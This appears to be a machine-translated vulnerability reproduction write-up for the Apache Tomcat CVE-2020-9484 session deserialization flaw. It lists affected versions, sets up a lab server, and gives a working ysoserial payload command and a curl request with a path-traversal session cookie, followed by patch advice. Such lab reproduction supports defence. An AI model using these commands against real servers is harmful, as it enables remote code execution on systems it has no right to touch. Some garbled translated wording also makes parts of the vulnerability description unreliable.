First, vulnerability introduction

On May 20, 2020, Beijing time, Apache officially released the risk notice of Apache Tomcat remote code, which is CVE-2020-9484.

Apache Tomcat is an open source, running a Java-based web application container based on Servlet and JSP web applications. When Tomcat uses the Synology synchronization function, use unsafe configurations (without using Encryptinterceptor) There is a reverse sequence vulnerability, and the attacker can perform Tomcat servers that use the Semiion synchronization function by carefully constructed data packets. attack.

Second, affect the version

Apache Tomcat: 10.0.0-M1 to 10.0.0-M4

Apache Tomcat: 9.0.0.M1 to 9.0.34

Apache Tomcat: 8.5.0 to 8.5.54

Apache Tomcat: 7.0.0 to 7.0.103

Third, the vulnerability recovery

1, environmental construction

Requirements: virtual machine, CentOS 7 system

Install Tomcat requires JDK1.8, installing tutorials can goKali-JDK1-8 installation -

Download and install Tomcat,

wget https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/10.0.0-M4/tomcat-10.0.0-M4.tar.gz

Then, create a folder to use the Tomcat directory to extract Tomcat into it.

mkdir /usr/local/tomcat

tar -zxvf tomcat-10.0.0-M4.tar.gz -C /usr/local/tomcat/

Modification /usR/local/tomcat/apache-tomcat-10.0.0-m4/conf
/Context.xlm Add Manager Save Exit

<Manager className="org.apache.catalina.session.PersistentManager">
            <Store className="org.apache.catalina.session.FileStore" directory="/tomcat/sessions/"/>
    </Manager>

Download Groovy-2.3.9.jar, then put the groovy-2.3.9.jar into /usr/local/tomcat/apache-tomcat-10.0.0-m4/lib
Under contents

Execute under LIB:

wget https://repo1.maven.org/maven2/org/codehaus/groovy/groovy/2.3.9/groovy-2.3.9.jar

 

Run Tomcat: Run Catalina.sh Start in USR / local / Tomcat / Apache-Tomcat-10.0.0-m4 / bin directory

/usr/local/tomcat/apache-tomcat-10.0.0-M4/bin/catalina.sh start

Access http://127.0.0.1:8080 port, display the following interface, explain the successful installation

2, vulnerability replay

Download YSOSERIAL a generated Java anti-serialization payload .jar package

Download address: https://github.com/frohoff/ysoserial.git

Download, extract, and generate a JAR package, copy the Linux system

Generate a JAR package, enter the folder's directory input command: MVN Package

Compiling is a bit slow to need a few minutes

After the completion is complete, in the target directory, there is a JAR package

 

Execute the following statement to generate a PayLoad

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Groovy1 "touch /tmp/2333" > /tmp/test.session

Use the following command to access Tomcat service

curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'

Although the error is displayed, it is also implemented. Create a 2333 directory in the / TMP directory

Proposed changes

 

General Patch Suggestions:

• Upgrade to Apache Tomcat 10.0.0-M5 and above
• Upgrade to Apache Tomcat 9.0.35 and above
• Upgrade to Apache Tomcat 8.5.55 and above
• Upgrade to Apache Tomcat 7.0.104 and above

Temporary repair recommendation:

It is forbidden to use the session persistence function filestore.

Reference link:

https://github.com/masahiro331/CVE-2020-9484

https://github.com/threedr3am/tomcat-cluster-session-sync-exp